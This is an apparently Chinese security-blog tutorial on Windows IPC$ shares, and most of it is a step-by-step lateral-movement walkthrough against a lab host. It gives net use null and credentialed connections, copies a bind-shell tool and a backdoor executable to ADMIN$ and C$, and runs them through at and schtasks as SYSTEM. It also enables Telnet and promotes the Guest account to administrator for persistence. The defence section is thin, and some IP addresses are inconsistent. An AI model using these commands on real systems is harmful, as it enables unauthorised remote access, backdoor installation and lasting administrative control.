

IPC\$



👤 calmness ⌚ 2020-10-04 21:50:38 🔥 165859

原创 本文由 calmness 创作，已纳入「FreeBuf原创奖励计划」，未经授权禁止转载

目录

IPC\$概念

IPC\$作用

IPC\$利用条件

IPC\$连接失败的原因

常见错误号

具体操作命令

1.建立IPC\$空连接:

2.建立完整的用户名，密码连接:

3.映射路径:

4.访问/删除路径:

5.删除IPC\$连接:

6.入侵过程:

7.如何防御IPC\$入侵:

8.netstat延伸使用:

实验

IPC\$概念

IPC\$(Internet Process Connection)是共享“命名管道”的资源，它是为了让进程间通信而开放的命名管道，可以通过验证用户名和密码获得相应的权限,在远程管理计算机和查看计算机的共享资源时使用；

IPC\$作用

利用IPC\$,连接者甚至可以与目标主机建立一个连接，利用这个连接，连接者得到目标主机上的目录结构、用户列表等信息。

IPC\$利用条件

139,445端口开启

ipc\$连接可以实现远程登陆及对默认共享的访问;而139端口的开启表示netbios协议的应用,我们可以通过139,445(win2000)端口实现对共享文件/打印机的访问,因此一般来讲,ipc\$连接是需要139或445端口来支持的.

管理员开启了默认共享

默认共享是为了方便管理员远程管理而默认开启的共享,即所有的逻辑盘(c\$,d\$,e\$.....)和系统目录winnt或windows(admin\$),我们通过ipc\$连接可以实现对这些默认共享的访问;

使用条件

1. 开放了139、445端口；
2. 目标开启ipc\$文件共享；
3. 获取用户账号密码；

IPC\$连接失败的原因

1. 你的系统不是NT或以上操作系统.
2. 对方没有打开ipc\$默认共享。
3. 不能成功连接目标的139, 445端口.
4. 命令输入错误.
5. 用户名或密码错误.

常见错误号

1. 错误号5 拒绝访问：很可能你使用的用户不是管理员权限的，先提升权限；
2. 错误号51 Windows 无法找到网络路径：网络有问题；
3. 错误号53 找不到网络路径：ip地址错误；目标未开机；目标lanmanserver服务未启动；目标有防火墙（端口过滤）；
4. 错误号67 找不到网络名：你的lanmanworkstation服务未启动；目标删除了ipc\$；
5. 错误号1219 提供的凭据与已存在的凭据集冲突：你已经和对方建立了一个ipc\$，请删除再连。
6. 错误号1326 未知的用户名或错误密码：原因很明显了；
7. 错误号1792 试图登录，但是网络登录服务没有启动：目标NetLogon服务未启动。（连接域控会出现此情况）
8. 错误号2242 此用户的密码已经过期：目标有帐号策略，强制定期要求更改密码。

具体操作命令

1. 建立IPC\$空连接：

```
net use \\192.168.28.128\ipc$ "" /user:""
```

2.建立完整的用户名，密码连接：

```
net use \\192.168.28.128\ipc$ "password" /user:"username"
```

3.映射路径：

```
net use z: \\192.168.28.128\c$ "密码" /user:"用户名" (即可将对方的c盘映射为自己的z盘，其他盘类推)
```

```
C:\Users\calmness>net share
```

共享名	资源	注解
C\$	C:\	默认共享
D\$	D:\	默认共享
IPC\$		远程 IPC
ADMIN\$	C:\Windows	远程管理

命令成功完成。

https://blog.csdn.net/weixin_43650289

网络位置 (1)

C\$ (\\192.168.28.128) (Z:)

26.5 GB 可用, 共 39.8 GB

```
C:\Users\calmness>net use z: \\192.168.28.128\c$ "ms@2020" /user:"Administrator"
```

命令成功完成。

4.访问/删除路径：

```
net use z: \\192.168.28.128\c$ #直接访问
```

```
net use c: /del 删除映射的c盘，其他盘类推
```

```
net use * /del 删除全部,会有提示要求按y确认
```

5.删除IPC\$连接:

```
net use \\192.168.28.128\ipc$ /del
```

6.入侵过程:

```
C:\>net use \\192.168.28.128\IPC$ "" /user:"admintitrators"
```

这是扫到的用户名是administrators, 密码为"空"的IP地址,
如果是打算攻击的话, 就可以用这样的命令来与192.168.28.128建立一个连接,
因为密码为"空", 所以第一个引号处就不用输入, 后面一个双引号里的是用户名,
输入administrators, 命令即可成功完成。

```
C:\>copy srv.exe \\192.168.28.128\admin$
```

先复制srv.exe上去, 在Tools目录下就有

(这里的\$是指admin用户的c:\winnt\system32\, 还可以使用c\$、d\$, 意思是C盘与D盘, 这看你要复制的位置)。

```
C:\>net time \\192.168.28.128
```

查查时间, 发现192.168.28.128 的当前时间是 2020/9/30 22:00, 命令成功完成。

```
C:\>at \\192.168.28.128 22:05 srv.exe
```

用at命令启动srv.exe吧 (这里设置的时间要比主机时间快)

```
C:\>net time \\192.168.28.128
```

再查查到时间没有? 如果192.168.28.128 的当前时间是 2020/9/30 22:05,
说明srv.exe已经执行, 那就准备开始下面的命令。

```
C:\>telnet 192.168.28.128 4444
```

这里会用到Telnet命令吧，注意端口是4444。Telnet默认的是23端口，但是我们使用的是srv.exe在对方计算机中为我们建立一个4444端口的Shell。虽然我们可以Telnet上去了，但是srv.exe是一次性的，下次登录还要再激活！所以我们打算建立一个Telnet服务！这就要用到ntlm了

工具地址：<http://www.wenjian.net/file/NTLM.exe.html>

```
C:\>copy ntlm.exe \\192.168.28.128\admin$
```

用Copy命令把ntlm.exe上传到主机上（ntlm.exe）。

```
C:\WINNT\system32>ntlm
```

输入ntlm启动（这里的C:\WINNT\system32>指的是对方计算机，运行ntlm其实是让这个程序在对方计算机上运行）。
当出现"DONE"的时候，就说明已经启动正常。然后使用"net start telnet"来开启Telnet服务。

Telnet 192.168.28.128，接着输入用户名与密码就进入对方了，操作就像在DOS上操作。

```
C:\>net user guest /active:yes
```

以防万一,再把guest激活加到管理组；Guest用户激活

```
C:\>net user guest 12345
```

将Guest的密码改为12345,或者自己设定密码

```
C:\>net localgroup administrators guest /add
```

将Guest变为Administrator(如果管理员密码更改, guest帐号没改变的话, 下次我们用guest再次访问这台计算机)

7.如何防御IPC\$入侵:

```
net share    #查看自己的共享
```

```
net view \\IP    #查看target的共享
```

```
netstat -A IP    #获取target的user列表
```

```
C:\Users\calmness>netstat -A 192.168.28.128
```

活动连接

协议	本地地址	外部地址	状态
TCP	0.0.0.0:80	LAPTOP-63IFMOUA:0	LISTENING
TCP	0.0.0.0:135	LAPTOP-63IFMOUA:0	LISTENING
TCP	0.0.0.0:443	LAPTOP-63IFMOUA:0	LISTENING
TCP	0.0.0.0:445	LAPTOP-63IFMOUA:0	LISTENING
TCP	0.0.0.0:903	LAPTOP-63IFMOUA:0	LISTENING
TCP	0.0.0.0:913	LAPTOP-63IFMOUA:0	LISTENING
TCP	0.0.0.0:3306	LAPTOP-63IFMOUA:0	LISTENING
TCP	0.0.0.0:5040	LAPTOP-63IFMOUA:0	LISTENING
TCP	0.0.0.0:49664	LAPTOP-63IFMOUA:0	LISTENING
TCP	0.0.0.0:49665	LAPTOP-63IFMOUA:0	LISTENING
TCP	0.0.0.0:49666	LAPTOP-63IFMOUA:0	LISTENING
TCP	0.0.0.0:49667	LAPTOP-63IFMOUA:0	LISTENING
TCP	0.0.0.0:49668	LAPTOP-63IFMOUA:0	LISTENING
TCP	0.0.0.0:49669	LAPTOP-63IFMOUA:0	LISTENING
TCP	127.0.0.1:5939	LAPTOP-63IFMOUA:0	LISTENING
TCP	127.0.0.1:8183	LAPTOP-63IFMOUA:0	LISTENING
TCP	127.0.0.1:8307	LAPTOP-63IFMOUA:0	LISTENING
TCP	127.0.0.1:10000	LAPTOP-63IFMOUA:0	LISTENING
TCP	127.0.0.1:28317	LAPTOP-63IFMOUA:0	LISTENING
TCP	127.0.0.1:50658	LAPTOP-63IFMOUA:50659	ESTABLISHED
TCP	127.0.0.1:50659	LAPTOP-63IFMOUA:50658	ESTABLISHED
TCP	127.0.0.1:54137	LAPTOP-63IFMOUA:54138	ESTABLISHED
TCP	127.0.0.1:54138	LAPTOP-63IFMOUA:54137	ESTABLISHED
TCP	127.0.0.1:54139	LAPTOP-63IFMOUA:54140	ESTABLISHED

https://blog.csdn.net/weixin_43650289

8.netstat延伸使用:

```
netstat -ano | findstr "port"    #查看端口号对应的PID
tasklist | findstr "PID"         #查看进程号对应的程序
```

实验

目标主机ip: 192.168.28.128

- 1.连接目标ipc\$, 将后门复制到目标机器上

```
C:\Users\calmness>net use \\192.168.28.128\ipc$ /user:Administrator "ms@2020"
命令成功完成。
```

查看连接情况 net use

```
C:\Users\calmness>net use
会记录新的网络连接。
```

状态	本地	远程	网络
OK		\\192.168.28.128\C\$	Microsoft Windows Network
OK		\\192.168.28.128\ipc\$	Microsoft Windows Network

```
命令成功完成。
https://blog.csdn.net/weixin_43650289
```

文件上传下载 (上传到目标的:c\windows\temp\目录下)

```
C:\Users\calmness>copy calmnexx.exe \\193.168.28.128\c$\windows\temp\calmnexx.exe
```

或者

copy \\192.168.28.128\c\$\calmnexx.exe c:\ (下载到本地c盘下)

查看目标主机共享资源


```
C:\Users\calmness>net time \\192.168.28.128  
\\192.168.28.128 的当前时间是 2020/9/30 22:25:49  
命令成功完成。
```

查看目标主机时间

```
C:\Users\calmness>net time \\192.168.28.128  
\\192.168.28.128 的当前时间是 2020/9/30 22:25:49  
命令成功完成。
```

查看目标主机的NetBIOS用户（自己本机也需开启）

```
C:\Users\calmness>net use \\192.168.28.128\ipc$ /del  
\\192.168.28.128\ipc$ 已经删除。
```

- 2.创建自动任务，执行上传的后门程序

创建计划任务

```
schtasks /create /tn "calmness110" /tr c:\windows\temp\calmnexx.exe /sc once /st 22:39 /S 193.168.28.128 /RU System /u  
Administrator /p "ms@2020"
```

立即执行计划任务

```
schtasks /run /tn "calmness110" /S 193.168.28.128 /u Administrator /p "ms@2020"
```

删除计划任务

```
schtasks /F /delete /tn "calmness110" /S 193.168.28.128 /u Administrator /p "ms@2020"
```

- 3.删除连接

```
C:\Users\calmness>net use \\192.168.28.128\ipc$ /del  
\\192.168.28.128\ipc$ 已经删除。
```

结束!!!



参考文章如下:

<https://www.cnblogs.com/bmjoker/p/10355934.html>